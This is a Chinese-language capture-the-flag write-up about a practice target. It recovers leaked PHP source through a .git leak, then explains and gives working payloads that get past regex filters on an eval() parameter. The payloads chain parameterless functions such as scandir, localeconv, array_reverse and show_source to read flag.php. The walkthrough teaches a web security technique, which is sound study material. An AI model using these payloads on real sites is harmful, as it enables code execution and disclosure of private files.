打开靶机之后,f12并没有发现什么,
用dirsearch扫描了一波目录
也并没有发现什么有用的信息
然后GitHack尝试了一下,发现是源码泄露
获得源代码:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
发现flag在flag.php文件中
但过滤了伪协议读取方式:data、filter、php、phpar、i(不区分大小写)
然后里面有个exp的参数,如果符合条件或绕过限制,即可执行
(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
过滤了et|na|info|dec|bin|hex|oct|pi|log关键字
scandir(’.’):扫描当前目录
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
pos(),current():返回数组第一个值
所以构造exp=print_r(scandir(pos(localeconv())));
发现数组第一个元素为.
第二个元素为:..
第三个元素为:.git
第四个才为flag.php
因为这里过滤了含参数的方式进行数组下标查看所以array_search()方法不可用
//数组操作函数:
- end():数组指针指向最后一位
- next(): 数组指针指向下一位
- array_reverse(): 将数组颠倒
- array_rand(): 随机返回数组的键名
- array_flip():交换数组的键和值
- 读取文件函数
- file_get_content() :因为et被ban,所以不能使用
- readfile()
- highlight_file()
- show_source()将目标文件进行高亮表示
所以:
构造payload:
exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
意思为:逆向数组顺序读取第一个数组元素的下一个元素并高亮标识出来,即读取flag.php文件
同上述方法,但方法一有局限性,只能得到数组的第二位或者倒数第二位。其他情况可以使用随机返回键名的方法(刷新几次就可以得到):exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));